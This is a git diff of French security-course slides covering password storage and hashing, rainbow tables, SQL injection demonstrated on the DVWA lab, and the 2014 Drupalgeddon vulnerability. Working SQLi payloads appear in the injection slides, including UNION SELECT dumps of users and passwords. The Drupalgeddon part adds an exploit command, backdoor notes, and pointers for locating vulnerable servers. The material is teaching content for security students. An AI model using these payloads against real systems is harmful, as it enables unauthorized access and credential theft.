diff --git a/content/slides/1337/images/sidoine/SQLi-1.png b/content/slides/1337/images/sidoine/SQLi-1.png index b7de1645de06cb4a72514a728455d6bf38ead39d..9f528b4d7c93260b05810e11918ce022cbc67184 100644 Binary files a/content/slides/1337/images/sidoine/SQLi-1.png and b/content/slides/1337/images/sidoine/SQLi-1.png differ diff --git a/content/slides/1337/images/sidoine/SQLi-2-https.png b/content/slides/1337/images/sidoine/SQLi-2-https.png index 1c2afcf3c2451e6f27290c0e89da04bc81eec302..aff8f213cde749f2612cee1869b544ed597d710f 100644 Binary files a/content/slides/1337/images/sidoine/SQLi-2-https.png and b/content/slides/1337/images/sidoine/SQLi-2-https.png differ diff --git a/content/slides/1337/images/sidoine/SQLi-db-clear.png b/content/slides/1337/images/sidoine/SQLi-db-clear.png new file mode 100644 index 0000000000000000000000000000000000000000..fcf5868c1d9ec2d2f0a6d818fc5f2dfebb71c756 Binary files /dev/null and b/content/slides/1337/images/sidoine/SQLi-db-clear.png differ diff --git a/content/slides/1337/images/sidoine/SQLi-db-hash.png b/content/slides/1337/images/sidoine/SQLi-db-hash.png new file mode 100644 index 0000000000000000000000000000000000000000..1701f50fa3f02166345d639a507f3093793f130c Binary files /dev/null and b/content/slides/1337/images/sidoine/SQLi-db-hash.png differ diff --git a/content/slides/1337/images/sidoine/sql-union.png b/content/slides/1337/images/sidoine/sql-union.png new file mode 100644 index 0000000000000000000000000000000000000000..8f1e0a788bc0b04b74860154eab5068324b76ef1 Binary files /dev/null and b/content/slides/1337/images/sidoine/sql-union.png differ diff --git a/content/slides/1337/md/sidoine.md b/content/slides/1337/md/sidoine.md index 8369d82a42a9902fc3888365cd054c557d280003..0934328916768b7b53d73d07c4e846c7a2fac792 100644 --- a/content/slides/1337/md/sidoine.md +++ b/content/slides/1337/md/sidoine.md @@ -24,105 +24,193 @@ Mot de passe: <input id="password" type="password" name="password" value="123adm ### Où sont les failles de sécurité?<!-- .element class="fragment roll-in" --> +Note: +- Le navigateur envoie le contenu des champs `Utilisateur` et `Mot passe` au serveur + - en clair +- Le serveur va chercher les informations concernant l' `Utilisateur` mazenovi dans sa base de données + - dont le mot de passe +- Le serveur compare ensuite la valeur du mot de passe issude la base de donnée avec celui qu'il a reçu du formulaire d'authentification + - égalité = utilisateur authentifié + - différence = utilisateur ou mot de passe invalide -* Le navigateur envoie le contenu des champs `Utilisateur` et `Mot passe` au serveur - * en clair -* Le serveur va chercher les informations concernant l' `Utilisateur` mazenovi dans sa base de données - * dont le mot de passe +## https -* Le serveur compare ensuite la valeur du mot de passe issude la base de donnée avec celui qu'il a reçu du formulaire d'authentification - * égalité = utilisateur authentifié - * différence = utilisateur ou mot de passe invalide + +Note: +- Lors de la transmission du mot de passe => utiliser https + - il est très facile de transformer sa carte wifi en écouteur de paquet du réseau local https://www.aircrack-ng.org/ - +## sqli - + +Note: +- Lors du stockage du mot de passe + - Pourquoi? + - Le mot de passe n'est jamais affiché et voilà -* Lors de la transmission du mot de passe => utiliser https - * il est très facile de transformer sa carte wifi en écouteur de paquet du réseau local https://www.aircrack-ng.org/ +## Bonne pratique -* Lors du stockage du mot de passe - * Pourquoi? - * Le mot de passe n'est jamais affiché et voilà +### stocker les mots de passe hashés +[Facebook a stocké des millions de mots de passe en clair : ce que vous risquez, ce qu’il faut faire](https://www.numerama.com/tech/473877-facebook-a-stocke-des-millions-de-mots-de-passe-en-clair-ce-que-vous-risquez-ce-quil-faut-faire.html) -## https -canal chiffré +## sqli + + + +Note: +- Mot de passe hashé + + +## hashage + +* <strike>SHA256(passeenclair) + * => 5452409edd9626898129c983ec443748</strike> +* SHA256(passeenclair) + * => 4D0C44C76936FBF16F5E2E4860BA4AC41AB377B5156D2D1A75DF3FE994812FE4 +* SHA256(admin) + * => 8C6976E5B5410415BDE908BD4DEE15DFB167A9C873FC4BB8A81F6F2AB448A918 + + +## Rainbow tables + +### [https://crackstation.net/](https://crackstation.net/) + +* Hashs précalculés de valeurs communes + +* 8C6976E5B5410415BDE908BD4DEE15DFB167A9C873FC4BB8A81F6F2AB448A918 + * => admin + +* 4D0C44C76936FBF16F5E2E4860BA4AC41AB377B5156D2D1A75DF3FE994812FE4 + * => ???? + + +## Bonne pratique + +### Introduire des validations sur la robustesse du mot de passe. + +* minuscule + majuscule + caractères spéciaux + numériques +* longueur minimum (passphrase) + +### Ajouter un sel + +* SHA256(admin+selsupercompliqué) + ## SQLi +* aka injection SQL +* faille n°1 dans le [top 10 owasp](https://www.owasp.org/index.php/Top_10-2017_Top_10) depuis plusieurs années +* que peut on faire avec une SQLi? + * lire des données protégées + * corrompre des données + * dénis de services + * lecture / écriture sur le système de fichiers + * exécution de commandes arbitraires + + +## SQLi + +``` http://dv.wa/vulnerabilities/sqli/ +``` Tout commence par un message d'erreur anodin +``` http://dv.wa/vulnerabilities/sqli/?id='&Submit=Submit# +``` -intéressant! +``` +You have an error in your SQL syntax; check the manual +that corresponds to your MySQL server version +for the right syntax to use near ''''' at line 1 +``` + +### intéressant!?<!-- .element class="fragment roll-in" --> + +## SQLi / détournement + +``` http://dv.wa/vulnerabilities/sqli/?id=' OR 1=1#&Submit=Submit +``` + +soit en version encodée +``` http://dv.wa/vulnerabilities/sqli/?id=%27+OR+1%3D1+%3B%23%23&Submit=Submit +``` -encore mieux mais on affiche toujours pas les mot de passe car on a pas la main sur la clause select +### encore mieux<!-- .element class="fragment roll-in" --> +### mais!<!-- .element class="fragment roll-in" --> +#### on affiche toujours pas les mot de passe car on a pas la main sur la clause select<!-- .element class="fragment roll-in" --> +### des idées?<!-- .element class="fragment roll-in" --> -on peut injecter une UNION () +## Say hello to UNION + +``` SELECT column_name(s) FROM table1 UNION SELECT column_name(s) FROM table2; +``` -mais les clauses select doivent être compatibles - -intuition : il y a Deux champs dans la clause SELECT de la requête + -Jouons avec la clause ORDER BY +### Les clauses select doivent avoir le même nombre d'éléments!?<!-- .element class="fragment roll-in" --> -http://dv.wa/vulnerabilities/sqli/?id=' OR 1=1 ORDER BY 2#&Submit=Submit +## déduire le nombre de champs -http://dv.wa/vulnerabilities/sqli/?id=' AND 1=0 UNION SELECT NULL, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) FROM users#&Submit=Submit +### intuition? +### jouer avec order BY -Nous avons les mots de passes +``` +http://dv.wa/vulnerabilities/sqli/?id=' OR 1=1 ORDER BY 2#&Submit=Submit +``` -Montrer le code, préciser PHP5 +soit une fois les paramètres encodés -Essayons les +``` +http://dv.wa/vulnerabilities/sqli/?id=%27%20OR%201%3D1%20ORDER%20BY%202%23&Submit=Submit +``` -Aucun ne marche: nous avons récupérer des hasher des mot de passe -**Bonne pratique** stocker les mots de passe hashés +## Affichage des mots de passe -ce qui donne une autre saveur à ce genre de news +``` +http://dv.wa/vulnerabilities/sqli/?id=' AND 1=0 UNION SELECT user, password FROM users#&Submit=Submit +``` -https://www.numerama.com/tech/473877-facebook-a-stocke-des-millions-de-mots-de-passe-en-clair-ce-que-vous-risquez-ce-quil-faut-faire.html +soit une fois les paramètres encodés -Si on veut aller plus on peut tenter de révéler les mots de passe en clair par table arc en ciel +``` +http://dv.wa/vulnerabilities/sqli/?id=%27%20AND%201%3D0%20UNION%20SELECT%20user%2C%20password%20FROM%20users%23&Submit=Submit +``` -https://crackstation.net/ +* Mot de passe hashé +* [https://crackstation.net/](https://crackstation.net/) + * 5f4dcc3b5aa765d61d8327deb882cf99 + * => md5 - password -**Bonne pratique** stocker des mots de passe complexes. pour ce faire introduire des validations sur la robustesse du mot de passe. -* min / maj / sécique / chiffres -* long (surtout) +## SQLi de la vraie vie (2014) -## revenons au SQLi +* les SQLi n'apparaissent pas (plus) de manière aussi grossière + * utilisation notamment des requêtes préparées + * échappent les paramètres -* faille n°1 dans le top 10 owasp depuis plusieurs années +* Voici une vraie faille du CMS drupal ... -* que peut on faire avec une SQLi à part lire des données sensibles telles que le mot de passe? - * Corrompre des données - * Dénis de services - * Lecture / écriture sur le système de fichiers - * Exécution de commandes arbitraires -* n'apparaissent plus de manière aussi grossière grâce au requêtes préparées qui échappent les paramètres +## Drupalgeddon<!-- .slide: data-background="images/drupalgeddon/drupalgeddon.jpg" data-background-size="135%" data-background-color="black"--> -## voyons un vrai faille drupal de 2014 et comment l'exploiter ## La faille @@ -131,6 +219,32 @@ https://crackstation.net/ * Date: 2014-October-15 * Security risk: [25/25 ( Highly Critical)](https://www.drupal.org/security-team/risk-levels) +#### exploitable à partir du formulaire d'authentification!<!-- .element class="fragment roll-in" --> +### sans aucun privilège!<!-- .element class="fragment roll-in" --> + + +## Trouver un système vulnérable sur le www + +[<!-- .element: align="right" width="65%" -->](https://www.shodan.io/search?query=drupal) + +[<!-- .element: width="30%" -->](https://www.exploit-db.com/google-hacking-database/?action=search&ghdb_search_cat_id=0&ghdb_search_text=drupal) + + +## [Timeline grand publique](http://www.nbn.org.uk/News/Latest-news/Drupalgeddon-response.aspx) + +* 16 sept. 2014 : notification à Drupal +* 15 oct. 2014 : publication du correctif +* 29 oct. 2014 : [communication de Drupal (PSA-2014-003)](https://www.drupal.org/PSA-2014-003) +* 3 nov. 2014 : release de deux exploits publiques + + +## Timeline côté attaquant + +* 16 sept. 2014 : notification à Drupal +* 15 oct. 2014 : publication du correctif +* 15 oct. 2014, 4h après : exploitations en cours… +* 16 oct. 2014 : de très nombreux Drupal compromis… + ## La faille @@ -150,7 +264,7 @@ foreach (array_filter($args, 'is_array') as $key => $data) { * il y a donc possibilité d'injecter du code SQL dans les clés des paramètres HTTP -## La faille +## Le patch [includes/database/database.inc](https://github.com/pressflow/7/commit/a0fee30d766a4760db96fac8aacac462e50f61b9) ligne 738 @@ -174,33 +288,6 @@ Note: - debugging et dump variable à creuser - code drupal compliqué ou mal fait -## Trouver un système vulnérable sur le www - -* ne filtrer que les drupal vulnérables - * [<i class="fa fa-github"></i> Dionach/CMSMap](https://github.com/Dionach/CMSmap) - -```http -$ python cmsmap.py -t http://drup.al -... -[H] Drupal Vulnerable to SA-CORE-2014-005 -... -``` - -## [Timeline grand publique](http://www.nbn.org.uk/News/Latest-news/Drupalgeddon-response.aspx) - -* 16 sept. 2014 : notification à Drupal -* 15 oct. 2014 : publication du correctif -* 29 oct. 2014 : [communication de Drupal (PSA-2014-003)](https://www.drupal.org/PSA-2014-003) -* 3 nov. 2014 : release de deux exploits publiques - - -## Timeline côté attaquant - -* 16 sept. 2014 : notification à Drupal -* 15 oct. 2014 : publication du correctif -* 15 oct. 2014, 4h après : exploitations en cours… -* 16 oct. 2014 : de très nombreux Drupal compromis… - ## Exploitation manuelle @@ -222,7 +309,8 @@ par Note: - mettre un mot de passe -## PoC + +## Exploit [<i class="fa fa-github"></i> MKorostoff/drupalgeddon](https://github.com/MKorostoff/drupalgeddon) @@ -253,6 +341,7 @@ $data = file_get_contents($url . '?q=node&destination=node', 1, $ctx); $ php attack/inject-sql.php 'http://drup.al' 'DELETE FROM flood' ``` + ## Backdoor rerésente 68% des attaques @@ -271,8 +360,6 @@ phpinfo();'; * [passthru()](http://php.net/manual/fr/function.passthru.php) -* Sexy backdoor [http://www.r57shell.net/shell/c99.txt](http://www.r57shell.net/shell/c99.txt) - ## Backdoor